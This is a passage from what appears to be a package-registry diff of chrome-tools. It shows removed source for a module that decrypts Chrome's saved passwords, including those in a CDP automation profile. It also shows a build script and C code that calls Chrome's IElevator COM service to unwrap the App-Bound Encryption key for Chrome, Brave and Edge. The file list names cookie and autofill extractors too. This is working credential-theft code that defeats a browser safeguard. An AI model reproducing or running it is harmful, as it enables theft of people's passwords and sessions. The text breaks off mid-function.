chrome-tools 1.1.14 → 1.1.16
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +8602 -0
- package/dist/index.d.ts +629 -0
- package/dist/index.js +2297 -0
- package/package.json +62 -29
- package/dist/bin/chrome_abe_decrypt.exe +0 -0
- package/dist/bin/cli.d.ts +0 -9
- package/dist/bin/cli.js +0 -590
- package/dist/src/core/browsers.d.ts +0 -73
- package/dist/src/core/browsers.js +0 -186
- package/dist/src/core/chrome.d.ts +0 -124
- package/dist/src/core/chrome.js +0 -259
- package/dist/src/core/crypto.d.ts +0 -52
- package/dist/src/core/crypto.js +0 -152
- package/dist/src/core/db.d.ts +0 -22
- package/dist/src/core/db.js +0 -227
- package/dist/src/core/keychain.d.ts +0 -57
- package/dist/src/core/keychain.js +0 -191
- package/dist/src/core/limit.d.ts +0 -4
- package/dist/src/core/limit.js +0 -12
- package/dist/src/core/platform/darwin.d.ts +0 -12
- package/dist/src/core/platform/darwin.js +0 -31
- package/dist/src/core/platform/index.d.ts +0 -30
- package/dist/src/core/platform/index.js +0 -69
- package/dist/src/core/platform/linux.d.ts +0 -10
- package/dist/src/core/platform/linux.js +0 -64
- package/dist/src/core/platform/types.d.ts +0 -45
- package/dist/src/core/platform/types.js +0 -1
- package/dist/src/core/platform/win32.d.ts +0 -13
- package/dist/src/core/platform/win32.js +0 -249
- package/dist/src/core/sql.d.ts +0 -2
- package/dist/src/core/sql.js +0 -4
- package/dist/src/index.d.ts +0 -28
- package/dist/src/index.js +0 -34
- package/dist/src/modules/autofill.d.ts +0 -68
- package/dist/src/modules/autofill.js +0 -170
- package/dist/src/modules/bookmarks.d.ts +0 -22
- package/dist/src/modules/bookmarks.js +0 -83
- package/dist/src/modules/cookies.d.ts +0 -40
- package/dist/src/modules/cookies.js +0 -163
- package/dist/src/modules/downloads.d.ts +0 -27
- package/dist/src/modules/downloads.js +0 -80
- package/dist/src/modules/extensions.d.ts +0 -24
- package/dist/src/modules/extensions.js +0 -71
- package/dist/src/modules/history.d.ts +0 -34
- package/dist/src/modules/history.js +0 -83
- package/dist/src/modules/local-storage.d.ts +0 -40
- package/dist/src/modules/local-storage.js +0 -455
- package/dist/src/modules/passwords.d.ts +0 -50
- package/dist/src/modules/passwords.js +0 -198
- package/dist/src/modules/search-engines.d.ts +0 -21
- package/dist/src/modules/search-engines.js +0 -38
- package/dist/src/modules/top-sites.d.ts +0 -17
- package/dist/src/modules/top-sites.js +0 -33
- package/src/native/build.bat +0 -31
- package/src/native/chrome_abe_decrypt.c +0 -336
- package/src/native/chrome_abe_decrypt.exe +0 -0
- /package/{bin → dist}/chrome_abe_decrypt.exe +0 -0
|
@@ -1,198 +0,0 @@
|
|
|
1
|
-
import { existsSync, readFileSync } from "node:fs";
|
|
2
|
-
import { homedir } from "node:os";
|
|
3
|
-
import { join } from "node:path";
|
|
4
|
-
import { discoverProfiles, resolveTargetProfiles, } from "../core/chrome.js";
|
|
5
|
-
import { deriveEncryptionKey, decryptValue } from "../core/platform/index.js";
|
|
6
|
-
import { chromeTimeToDate } from "../core/crypto.js";
|
|
7
|
-
import { queryDatabase } from "../core/db.js";
|
|
8
|
-
/**
|
|
9
|
-
* Chrome stores saved passwords in two SQLite files per profile:
|
|
10
|
-
* - "Login Data" — passwords kept on this device only.
|
|
11
|
-
* - "Login Data For Account" — passwords synced to the signed-in Google Account.
|
|
12
|
-
* Both share the same `logins` schema and v10 encryption, so we read both and
|
|
13
|
-
* tag each entry with its source.
|
|
14
|
-
*/
|
|
15
|
-
const PASSWORD_STORES = [
|
|
16
|
-
{ file: "Login Data", source: "device" },
|
|
17
|
-
{ file: "Login Data For Account", source: "account" },
|
|
18
|
-
];
|
|
19
|
-
/** Where a CDP launcher keeps the User Data directory it drives Chrome with. */
|
|
20
|
-
const AUTOMATION_DIR = join(homedir(), ".chrome_cdp_profile");
|
|
21
|
-
/** …and where it records a relocated one. */
|
|
22
|
-
const AUTOMATION_CONFIG = join(homedir(), ".config", "chrome-cdp-manager", "config.json");
|
|
23
|
-
/** `CHROME_AUTOMATION_DIR` values meaning "do not look there at all". */
|
|
24
|
-
const AUTOMATION_OFF = ["0", "off", "none", "false"];
|
|
25
|
-
/**
|
|
26
|
-
* The automation profile tree, on a machine that has one.
|
|
27
|
-
*
|
|
28
|
-
* Most machines do not: no CDP launcher is installed, the directory was never
|
|
29
|
-
* created, or it exists but holds no profile yet. All three answer undefined,
|
|
30
|
-
* which leaves the search exactly as it was before this existed — the everyday
|
|
31
|
-
* profile, alone. Nothing here is required for a plain Chrome install.
|
|
32
|
-
*
|
|
33
|
-
* `CHROME_AUTOMATION_DIR` names the tree explicitly, and `off` (or `0`, `none`,
|
|
34
|
-
* `false`) skips it even where one exists.
|
|
35
|
-
*/
|
|
36
|
-
function automationChromeDir() {
|
|
37
|
-
const override = process.env.CHROME_AUTOMATION_DIR?.trim();
|
|
38
|
-
if (override && AUTOMATION_OFF.includes(override.toLowerCase()))
|
|
39
|
-
return undefined;
|
|
40
|
-
const dir = override || configuredAutomationDir() || AUTOMATION_DIR;
|
|
41
|
-
// Holding a profile is what makes it a tree worth reading — an absent or
|
|
42
|
-
// empty directory would otherwise add a root every lookup searches for
|
|
43
|
-
// nothing, and turn a missing `--profile` into a spurious refusal.
|
|
44
|
-
return discoverProfiles(dir).length > 0 ? dir : undefined;
|
|
45
|
-
}
|
|
46
|
-
/** The profile directory a CDP launcher was configured with, if it says. */
|
|
47
|
-
function configuredAutomationDir() {
|
|
48
|
-
try {
|
|
49
|
-
const stored = JSON.parse(readFileSync(AUTOMATION_CONFIG, "utf-8"));
|
|
50
|
-
return typeof stored.profileDir === "string" && stored.profileDir ? stored.profileDir : undefined;
|
|
51
|
-
}
|
|
52
|
-
catch {
|
|
53
|
-
// No launcher config, or an unreadable one: fall back to its default path.
|
|
54
|
-
return undefined;
|
|
55
|
-
}
|
|
56
|
-
}
|
|
57
|
-
/**
|
|
58
|
-
* The User Data directories a lookup reads, in order.
|
|
59
|
-
*
|
|
60
|
-
* The automation tree first, then the everyday one. A Chrome driven over CDP
|
|
61
|
-
* keeps its own profile tree, so a login saved while signing in to that window
|
|
62
|
-
* is stored there and nowhere else — looking only at the everyday tree could
|
|
63
|
-
* not find it. Naming a directory or a browser answers "which tree?" outright,
|
|
64
|
-
* and is used as given.
|
|
65
|
-
*/
|
|
66
|
-
function passwordRoots(userDataDir, browser) {
|
|
67
|
-
const roots = [];
|
|
68
|
-
const automation = userDataDir || browser ? undefined : automationChromeDir();
|
|
69
|
-
if (automation)
|
|
70
|
-
roots.push(automation);
|
|
71
|
-
roots.push(userDataDir);
|
|
72
|
-
return roots;
|
|
73
|
-
}
|
|
74
|
-
/**
|
|
75
|
-
* Reports what a `getPasswords` call would read, and what it could not.
|
|
76
|
-
*
|
|
77
|
-
* `getPasswords` skips a store it cannot open — a missing file, a schema it does
|
|
78
|
-
* not know, a database another process is holding — and an empty result cannot
|
|
79
|
-
* tell "nothing saved here" from "could not look". This runs the same profile
|
|
80
|
-
* resolution and opens the same databases, and answers with row counts and
|
|
81
|
-
* errors only. It decrypts nothing, so no password value can escape through it.
|
|
82
|
-
*/
|
|
83
|
-
export function describePasswordStores({ chromeDir, profilePath, profile, browser, } = {}) {
|
|
84
|
-
const userDataDir = profilePath || chromeDir;
|
|
85
|
-
const reports = [];
|
|
86
|
-
for (const root of passwordRoots(userDataDir, browser)) {
|
|
87
|
-
let profiles;
|
|
88
|
-
try {
|
|
89
|
-
profiles = resolveTargetProfiles({ chromeDir: root, profile, browser });
|
|
90
|
-
}
|
|
91
|
-
catch (error) {
|
|
92
|
-
reports.push({
|
|
93
|
-
root: root ?? "default",
|
|
94
|
-
profile: profile ?? "*",
|
|
95
|
-
file: "*",
|
|
96
|
-
source: "device",
|
|
97
|
-
exists: false,
|
|
98
|
-
rows: null,
|
|
99
|
-
error: error instanceof Error ? error.message : String(error),
|
|
100
|
-
});
|
|
101
|
-
continue;
|
|
102
|
-
}
|
|
103
|
-
for (const p of profiles) {
|
|
104
|
-
for (const store of PASSWORD_STORES) {
|
|
105
|
-
const dbPath = join(p.path, store.file);
|
|
106
|
-
const report = {
|
|
107
|
-
root: root ?? "default",
|
|
108
|
-
profile: p.name,
|
|
109
|
-
file: store.file,
|
|
110
|
-
source: store.source,
|
|
111
|
-
exists: existsSync(dbPath),
|
|
112
|
-
rows: null,
|
|
113
|
-
};
|
|
114
|
-
try {
|
|
115
|
-
report.rows = queryDatabase(dbPath, "SELECT COUNT(*) AS n FROM logins")[0]?.n ?? 0;
|
|
116
|
-
}
|
|
117
|
-
catch (error) {
|
|
118
|
-
report.error = error instanceof Error ? error.message : String(error);
|
|
119
|
-
}
|
|
120
|
-
reports.push(report);
|
|
121
|
-
}
|
|
122
|
-
}
|
|
123
|
-
}
|
|
124
|
-
return reports;
|
|
125
|
-
}
|
|
126
|
-
/**
|
|
127
|
-
* Extracts and decrypts saved passwords from Chrome's password databases.
|
|
128
|
-
* Reads both the device-local and account-synced stores, labelling each entry
|
|
129
|
-
* with its `source` (no de-duplication across the two).
|
|
130
|
-
*
|
|
131
|
-
* @param options - Options for profile selection and filtering.
|
|
132
|
-
* @returns Array of decrypted password entries.
|
|
133
|
-
*/
|
|
134
|
-
export function getPasswords({ chromeDir, profilePath, profile, search, browser, decryptionKey, } = {}) {
|
|
135
|
-
const userDataDir = profilePath || chromeDir;
|
|
136
|
-
const roots = passwordRoots(userDataDir, browser);
|
|
137
|
-
const results = [];
|
|
138
|
-
const term = search?.toLowerCase();
|
|
139
|
-
// A named profile missing from one tree is not a failure while another is
|
|
140
|
-
// still to come — but a profile in none of them is still an error, so the
|
|
141
|
-
// first refusal is kept and raised if no tree resolved at all.
|
|
142
|
-
let refusal;
|
|
143
|
-
let resolved = false;
|
|
144
|
-
for (const root of roots) {
|
|
145
|
-
let profiles;
|
|
146
|
-
try {
|
|
147
|
-
profiles = resolveTargetProfiles({ chromeDir: root, profile, browser });
|
|
148
|
-
}
|
|
149
|
-
catch (error) {
|
|
150
|
-
refusal ??= error;
|
|
151
|
-
continue;
|
|
152
|
-
}
|
|
153
|
-
resolved = true;
|
|
154
|
-
// Per root: on Windows the key comes from that tree's own Local State.
|
|
155
|
-
let derivedKey = decryptionKey;
|
|
156
|
-
for (const p of profiles) {
|
|
157
|
-
for (const store of PASSWORD_STORES) {
|
|
158
|
-
const dbPath = join(p.path, store.file);
|
|
159
|
-
try {
|
|
160
|
-
const rows = queryDatabase(dbPath, `SELECT origin_url, username_value, password_value, date_last_used
|
|
161
|
-
FROM logins ORDER BY origin_url`);
|
|
162
|
-
for (const row of rows) {
|
|
163
|
-
// Matched before anything is decrypted. Both columns the search
|
|
164
|
-
// looks at — the origin and the username — are stored in the clear,
|
|
165
|
-
// so a row that cannot match never needs its password read at all.
|
|
166
|
-
//
|
|
167
|
-
// Decrypting first cost one platform decryption per stored login on
|
|
168
|
-
// the way to finding one: a store with a few hundred entries spent
|
|
169
|
-
// upwards of ten seconds answering "what is the password for this
|
|
170
|
-
// one site", and every one of those decryptions was thrown away by
|
|
171
|
-
// the filter immediately below.
|
|
172
|
-
if (term &&
|
|
173
|
-
!(row.origin_url && row.origin_url.toLowerCase().includes(term)) &&
|
|
174
|
-
!(row.username_value && row.username_value.toLowerCase().includes(term))) {
|
|
175
|
-
continue;
|
|
176
|
-
}
|
|
177
|
-
results.push({
|
|
178
|
-
profile: p.name,
|
|
179
|
-
source: store.source,
|
|
180
|
-
url: row.origin_url,
|
|
181
|
-
username: row.username_value,
|
|
182
|
-
password: row.password_value?.length > 0
|
|
183
|
-
? decryptValue(row.password_value, derivedKey ??= deriveEncryptionKey(root, browser))
|
|
184
|
-
: "",
|
|
185
|
-
lastUsed: chromeTimeToDate(row.date_last_used || 0),
|
|
186
|
-
});
|
|
187
|
-
}
|
|
188
|
-
}
|
|
189
|
-
catch {
|
|
190
|
-
// Skip missing or unreadable stores and continue with the others.
|
|
191
|
-
}
|
|
192
|
-
}
|
|
193
|
-
}
|
|
194
|
-
}
|
|
195
|
-
if (!resolved && refusal)
|
|
196
|
-
throw refusal;
|
|
197
|
-
return results;
|
|
198
|
-
}
|
|
@@ -1,21 +0,0 @@
|
|
|
1
|
-
import { type ResolveProfilesOptions } from "../core/chrome.js";
|
|
2
|
-
export interface SearchEngineOptions extends ResolveProfilesOptions {
|
|
3
|
-
}
|
|
4
|
-
export interface SearchEngineEntry {
|
|
5
|
-
profile: string;
|
|
6
|
-
id: number;
|
|
7
|
-
name: string;
|
|
8
|
-
keyword: string;
|
|
9
|
-
url: string;
|
|
10
|
-
suggestionsUrl: string;
|
|
11
|
-
faviconUrl: string;
|
|
12
|
-
isDefault: boolean;
|
|
13
|
-
isActive: boolean;
|
|
14
|
-
}
|
|
15
|
-
/**
|
|
16
|
-
* Retrieves search engines configured in Chrome from the Web Data database.
|
|
17
|
-
*
|
|
18
|
-
* @param options - Targeting options.
|
|
19
|
-
* @returns Array of search engine entries.
|
|
20
|
-
*/
|
|
21
|
-
export declare function getSearchEngines({ chromeDir, profilePath, profile, browser, }?: SearchEngineOptions): SearchEngineEntry[];
|
|
@@ -1,38 +0,0 @@
|
|
|
1
|
-
import { join } from "node:path";
|
|
2
|
-
import { resolveTargetProfiles } from "../core/chrome.js";
|
|
3
|
-
import { queryDatabase } from "../core/db.js";
|
|
4
|
-
/**
|
|
5
|
-
* Retrieves search engines configured in Chrome from the Web Data database.
|
|
6
|
-
*
|
|
7
|
-
* @param options - Targeting options.
|
|
8
|
-
* @returns Array of search engine entries.
|
|
9
|
-
*/
|
|
10
|
-
export function getSearchEngines({ chromeDir, profilePath, profile, browser, } = {}) {
|
|
11
|
-
const profiles = resolveTargetProfiles({ chromeDir, profilePath, profile, browser });
|
|
12
|
-
const results = [];
|
|
13
|
-
for (const p of profiles) {
|
|
14
|
-
const dbPath = join(p.path, "Web Data");
|
|
15
|
-
try {
|
|
16
|
-
const rows = queryDatabase(dbPath, `SELECT id, short_name, keyword, url, suggestions_url,
|
|
17
|
-
favicon_url, prepopulate_id, is_active
|
|
18
|
-
FROM keywords ORDER BY short_name`);
|
|
19
|
-
for (const row of rows) {
|
|
20
|
-
results.push({
|
|
21
|
-
profile: p.name,
|
|
22
|
-
id: row.id,
|
|
23
|
-
name: row.short_name || "",
|
|
24
|
-
keyword: row.keyword || "",
|
|
25
|
-
url: row.url || "",
|
|
26
|
-
suggestionsUrl: row.suggestions_url || "",
|
|
27
|
-
faviconUrl: row.favicon_url || "",
|
|
28
|
-
isDefault: row.prepopulate_id === 1,
|
|
29
|
-
isActive: row.is_active === 1,
|
|
30
|
-
});
|
|
31
|
-
}
|
|
32
|
-
}
|
|
33
|
-
catch {
|
|
34
|
-
// Skip profiles with errors
|
|
35
|
-
}
|
|
36
|
-
}
|
|
37
|
-
return results;
|
|
38
|
-
}
|
|
@@ -1,17 +0,0 @@
|
|
|
1
|
-
import { type ResolveProfilesOptions } from "../core/chrome.js";
|
|
2
|
-
export interface TopSiteOptions extends ResolveProfilesOptions {
|
|
3
|
-
}
|
|
4
|
-
export interface TopSiteEntry {
|
|
5
|
-
profile: string;
|
|
6
|
-
url: string;
|
|
7
|
-
title: string;
|
|
8
|
-
rank: number;
|
|
9
|
-
redirects: string;
|
|
10
|
-
}
|
|
11
|
-
/**
|
|
12
|
-
* Retrieves top sites from Chrome's Top Sites database.
|
|
13
|
-
*
|
|
14
|
-
* @param options - Targeting options.
|
|
15
|
-
* @returns Array of top site entries.
|
|
16
|
-
*/
|
|
17
|
-
export declare function getTopSites({ chromeDir, profilePath, profile, browser }?: TopSiteOptions): TopSiteEntry[];
|
|
@@ -1,33 +0,0 @@
|
|
|
1
|
-
import { join } from "node:path";
|
|
2
|
-
import { resolveTargetProfiles } from "../core/chrome.js";
|
|
3
|
-
import { queryDatabase } from "../core/db.js";
|
|
4
|
-
/**
|
|
5
|
-
* Retrieves top sites from Chrome's Top Sites database.
|
|
6
|
-
*
|
|
7
|
-
* @param options - Targeting options.
|
|
8
|
-
* @returns Array of top site entries.
|
|
9
|
-
*/
|
|
10
|
-
export function getTopSites({ chromeDir, profilePath, profile, browser } = {}) {
|
|
11
|
-
const profiles = resolveTargetProfiles({ chromeDir, profilePath, profile, browser });
|
|
12
|
-
const results = [];
|
|
13
|
-
for (const p of profiles) {
|
|
14
|
-
const dbPath = join(p.path, "Top Sites");
|
|
15
|
-
try {
|
|
16
|
-
const rows = queryDatabase(dbPath, `SELECT url, url_rank, title, redirects
|
|
17
|
-
FROM top_sites ORDER BY url_rank ASC`);
|
|
18
|
-
for (const row of rows) {
|
|
19
|
-
results.push({
|
|
20
|
-
profile: p.name,
|
|
21
|
-
url: row.url || "",
|
|
22
|
-
title: row.title || "",
|
|
23
|
-
rank: row.url_rank ?? 0,
|
|
24
|
-
redirects: row.redirects || "",
|
|
25
|
-
});
|
|
26
|
-
}
|
|
27
|
-
}
|
|
28
|
-
catch {
|
|
29
|
-
// Skip profiles with errors
|
|
30
|
-
}
|
|
31
|
-
}
|
|
32
|
-
return results;
|
|
33
|
-
}
|
package/src/native/build.bat
DELETED
|
@@ -1,31 +0,0 @@
|
|
|
1
|
-
@echo off
|
|
2
|
-
REM Build chrome_abe_decrypt.exe with MSVC
|
|
3
|
-
REM Run from a Visual Studio Developer Command Prompt or after calling vcvarsall.bat
|
|
4
|
-
|
|
5
|
-
where cl.exe >nul 2>nul
|
|
6
|
-
if %ERRORLEVEL% neq 0 (
|
|
7
|
-
if exist "C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Auxiliary\Build\vcvarsall.bat" (
|
|
8
|
-
call "C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Auxiliary\Build\vcvarsall.bat" x64
|
|
9
|
-
) else if exist "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" (
|
|
10
|
-
call "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" x64
|
|
11
|
-
) else if exist "C:\Program Files\Microsoft Visual Studio\2022\Professional\VC\Auxiliary\Build\vcvarsall.bat" (
|
|
12
|
-
call "C:\Program Files\Microsoft Visual Studio\2022\Professional\VC\Auxiliary\Build\vcvarsall.bat" x64
|
|
13
|
-
) else if exist "C:\Program Files\Microsoft Visual Studio\2022\Enterprise\VC\Auxiliary\Build\vcvarsall.bat" (
|
|
14
|
-
call "C:\Program Files\Microsoft Visual Studio\2022\Enterprise\VC\Auxiliary\Build\vcvarsall.bat" x64
|
|
15
|
-
)
|
|
16
|
-
)
|
|
17
|
-
|
|
18
|
-
cl.exe /nologo /O2 /W3 /Fe:chrome_abe_decrypt.exe chrome_abe_decrypt.c ole32.lib oleaut32.lib crypt32.lib advapi32.lib
|
|
19
|
-
|
|
20
|
-
if %ERRORLEVEL% neq 0 (
|
|
21
|
-
echo Build failed.
|
|
22
|
-
exit /b 1
|
|
23
|
-
)
|
|
24
|
-
|
|
25
|
-
echo.
|
|
26
|
-
echo Built: chrome_abe_decrypt.exe
|
|
27
|
-
echo.
|
|
28
|
-
echo Usage: chrome_abe_decrypt.exe ^<browser^>
|
|
29
|
-
echo Reads base64 app_bound_encrypted_key from stdin
|
|
30
|
-
echo Writes base64 decrypted key to stdout
|
|
31
|
-
echo browser: chrome, chrome-beta, brave, edge
|
|
@@ -1,336 +0,0 @@
|
|
|
1
|
-
/*
|
|
2
|
-
* chrome_abe_decrypt.c — Minimal Chrome App-Bound Encryption key decryptor.
|
|
3
|
-
*
|
|
4
|
-
* Calls Chrome's IElevator COM service to decrypt an app_bound_encrypted_key.
|
|
5
|
-
* Derived from xaitax/Chrome-App-Bound-Encryption-Decryption (MIT License).
|
|
6
|
-
*
|
|
7
|
-
* Usage: chrome_abe_decrypt.exe <browser> < base64_encrypted_key
|
|
8
|
-
* Outputs: base64-encoded decrypted key to stdout
|
|
9
|
-
*
|
|
10
|
-
* <browser> is one of: chrome, chrome-beta, brave, edge
|
|
11
|
-
*
|
|
12
|
-
* Build: cl.exe /O2 chrome_abe_decrypt.c ole32.lib oleaut32.lib advapi32.lib
|
|
13
|
-
*
|
|
14
|
-
* Copyright (c) 2024 Alexander 'xaitax' Hagenah (original COM logic)
|
|
15
|
-
* MIT License
|
|
16
|
-
*/
|
|
17
|
-
|
|
18
|
-
#define WIN32_LEAN_AND_MEAN
|
|
19
|
-
#define COBJMACROS
|
|
20
|
-
#include <windows.h>
|
|
21
|
-
#include <objbase.h>
|
|
22
|
-
#include <oleauto.h>
|
|
23
|
-
#include <stdio.h>
|
|
24
|
-
#include <stdlib.h>
|
|
25
|
-
#include <string.h>
|
|
26
|
-
|
|
27
|
-
/* ---------- base64 helpers (Windows CryptBinaryToStringA) ---------- */
|
|
28
|
-
#pragma comment(lib, "crypt32.lib")
|
|
29
|
-
#include <wincrypt.h>
|
|
30
|
-
|
|
31
|
-
static int b64_decode(const char *b64, unsigned char **out, DWORD *outLen) {
|
|
32
|
-
DWORD len = 0;
|
|
33
|
-
if (!CryptStringToBinaryA(b64, 0, CRYPT_STRING_BASE64, NULL, &len, NULL, NULL))
|
|
34
|
-
return -1;
|
|
35
|
-
*out = (unsigned char *)malloc(len);
|
|
36
|
-
if (!*out) return -1;
|
|
37
|
-
if (!CryptStringToBinaryA(b64, 0, CRYPT_STRING_BASE64, *out, &len, NULL, NULL)) {
|
|
38
|
-
free(*out);
|
|
39
|
-
return -1;
|
|
40
|
-
}
|
|
41
|
-
*outLen = len;
|
|
42
|
-
return 0;
|
|
43
|
-
}
|
|
44
|
-
|
|
45
|
-
static int b64_encode(const unsigned char *data, DWORD dataLen, char **out) {
|
|
46
|
-
DWORD len = 0;
|
|
47
|
-
if (!CryptBinaryToStringA(data, dataLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &len))
|
|
48
|
-
return -1;
|
|
49
|
-
*out = (char *)malloc(len + 1);
|
|
50
|
-
if (!*out) return -1;
|
|
51
|
-
if (!CryptBinaryToStringA(data, dataLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, *out, &len)) {
|
|
52
|
-
free(*out);
|
|
53
|
-
return -1;
|
|
54
|
-
}
|
|
55
|
-
(*out)[len] = '\0';
|
|
56
|
-
return 0;
|
|
57
|
-
}
|
|
58
|
-
|
|
59
|
-
/* ---------- IElevator COM interface (vtable-based, pure C) ---------- */
|
|
60
|
-
|
|
61
|
-
/*
|
|
62
|
-
* IElevator vtable layout (Chrome/Brave — 3 custom methods):
|
|
63
|
-
* [0] QueryInterface
|
|
64
|
-
* [1] AddRef
|
|
65
|
-
* [2] Release
|
|
66
|
-
* [3] RunRecoveryCRXElevated
|
|
67
|
-
* [4] EncryptData
|
|
68
|
-
* [5] DecryptData
|
|
69
|
-
*/
|
|
70
|
-
typedef struct IElevatorVtbl {
|
|
71
|
-
/* IUnknown */
|
|
72
|
-
HRESULT (STDMETHODCALLTYPE *QueryInterface)(void *This, REFIID riid, void **ppv);
|
|
73
|
-
ULONG (STDMETHODCALLTYPE *AddRef)(void *This);
|
|
74
|
-
ULONG (STDMETHODCALLTYPE *Release)(void *This);
|
|
75
|
-
/* IElevator */
|
|
76
|
-
HRESULT (STDMETHODCALLTYPE *RunRecoveryCRXElevated)(void *This, const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*);
|
|
77
|
-
HRESULT (STDMETHODCALLTYPE *EncryptData)(void *This, int protLevel, BSTR in, BSTR *out, DWORD *err);
|
|
78
|
-
HRESULT (STDMETHODCALLTYPE *DecryptData)(void *This, BSTR in, BSTR *out, DWORD *err);
|
|
79
|
-
} IElevatorVtbl;
|
|
80
|
-
|
|
81
|
-
typedef struct IElevator {
|
|
82
|
-
IElevatorVtbl *lpVtbl;
|
|
83
|
-
} IElevator;
|
|
84
|
-
|
|
85
|
-
/*
|
|
86
|
-
* Edge vtable layout — has 3 extra base methods before the IElevator methods:
|
|
87
|
-
* [0] QueryInterface
|
|
88
|
-
* [1] AddRef
|
|
89
|
-
* [2] Release
|
|
90
|
-
* [3] EdgeBaseMethod1
|
|
91
|
-
* [4] EdgeBaseMethod2
|
|
92
|
-
* [5] EdgeBaseMethod3
|
|
93
|
-
* [6] RunRecoveryCRXElevated
|
|
94
|
-
* [7] EncryptData
|
|
95
|
-
* [8] DecryptData
|
|
96
|
-
*/
|
|
97
|
-
typedef struct IEdgeElevatorVtbl {
|
|
98
|
-
/* IUnknown */
|
|
99
|
-
HRESULT (STDMETHODCALLTYPE *QueryInterface)(void *This, REFIID riid, void **ppv);
|
|
100
|
-
ULONG (STDMETHODCALLTYPE *AddRef)(void *This);
|
|
101
|
-
ULONG (STDMETHODCALLTYPE *Release)(void *This);
|
|
102
|
-
/* IEdgeElevatorBase (3 unknown methods) */
|
|
103
|
-
HRESULT (STDMETHODCALLTYPE *EdgeBase1)(void *This);
|
|
104
|
-
HRESULT (STDMETHODCALLTYPE *EdgeBase2)(void *This);
|
|
105
|
-
HRESULT (STDMETHODCALLTYPE *EdgeBase3)(void *This);
|
|
106
|
-
/* IElevator */
|
|
107
|
-
HRESULT (STDMETHODCALLTYPE *RunRecoveryCRXElevated)(void *This, const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*);
|
|
108
|
-
HRESULT (STDMETHODCALLTYPE *EncryptData)(void *This, int protLevel, BSTR in, BSTR *out, DWORD *err);
|
|
109
|
-
HRESULT (STDMETHODCALLTYPE *DecryptData)(void *This, BSTR in, BSTR *out, DWORD *err);
|
|
110
|
-
} IEdgeElevatorVtbl;
|
|
111
|
-
|
|
112
|
-
typedef struct IEdgeElevator {
|
|
113
|
-
IEdgeElevatorVtbl *lpVtbl;
|
|
114
|
-
} IEdgeElevator;
|
|
115
|
-
|
|
116
|
-
/* ---------- Browser COM identifiers ---------- */
|
|
117
|
-
/* From xaitax/Chrome-App-Bound-Encryption-Decryption/src/payload/browser_config.hpp */
|
|
118
|
-
|
|
119
|
-
typedef struct BrowserCOM {
|
|
120
|
-
const char *name;
|
|
121
|
-
CLSID clsid;
|
|
122
|
-
IID iid; /* IElevator v1 */
|
|
123
|
-
IID iid_v2; /* IElevator v2 (Chrome 144+), GUID_NULL if none */
|
|
124
|
-
int isEdge;
|
|
125
|
-
} BrowserCOM;
|
|
126
|
-
|
|
127
|
-
/* Chrome */
|
|
128
|
-
static const CLSID CLSID_Chrome = {0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}};
|
|
129
|
-
static const IID IID_IElevatorChrome = {0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}};
|
|
130
|
-
static const IID IID_IElevator2Chrome = {0x1BF5208B, 0x295F, 0x4992, {0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38}};
|
|
131
|
-
|
|
132
|
-
/* Chrome Beta */
|
|
133
|
-
static const CLSID CLSID_ChromeBeta = {0xDD2646BA, 0x3707, 0x4BF8, {0xB9, 0xA7, 0x03, 0x86, 0x91, 0xA6, 0x8F, 0xC2}};
|
|
134
|
-
static const IID IID_IElevatorChromeBeta = {0xA2721D66, 0x376E, 0x4D2F, {0x9F, 0x0F, 0x90, 0x70, 0xE9, 0xA4, 0x2B, 0x5F}};
|
|
135
|
-
static const IID IID_IElevator2ChromeBeta = {0xB96A14B8, 0xD0B0, 0x44D8, {0xBA, 0x68, 0x23, 0x85, 0xB2, 0xA0, 0x32, 0x54}};
|
|
136
|
-
|
|
137
|
-
/* Brave — reuses Chrome's IElevator IID */
|
|
138
|
-
static const CLSID CLSID_Brave = {0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}};
|
|
139
|
-
static const IID IID_IElevatorBrave = {0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}};
|
|
140
|
-
/* Brave reuses Chrome's v2 IID: IID_IElevator2Chrome */
|
|
141
|
-
|
|
142
|
-
/* Edge */
|
|
143
|
-
static const CLSID CLSID_Edge = {0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}};
|
|
144
|
-
static const IID IID_IElevatorEdge = {0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}};
|
|
145
|
-
static const IID IID_IElevator2Edge = {0x8F7B6792, 0x784D, 0x4047, {0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05}};
|
|
146
|
-
|
|
147
|
-
static const BrowserCOM browsers[] = {
|
|
148
|
-
{"chrome", {0}, {0}, {0}, 0}, /* filled below */
|
|
149
|
-
{"chrome-beta", {0}, {0}, {0}, 0},
|
|
150
|
-
{"brave", {0}, {0}, {0}, 0},
|
|
151
|
-
{"edge", {0}, {0}, {0}, 1},
|
|
152
|
-
};
|
|
153
|
-
|
|
154
|
-
static int get_browser(const char *name, const CLSID **clsid, const IID **iid, const IID **iid_v2, int *isEdge) {
|
|
155
|
-
if (strcmp(name, "chrome") == 0) {
|
|
156
|
-
*clsid = &CLSID_Chrome; *iid = &IID_IElevatorChrome; *iid_v2 = &IID_IElevator2Chrome; *isEdge = 0;
|
|
157
|
-
} else if (strcmp(name, "chrome-beta") == 0) {
|
|
158
|
-
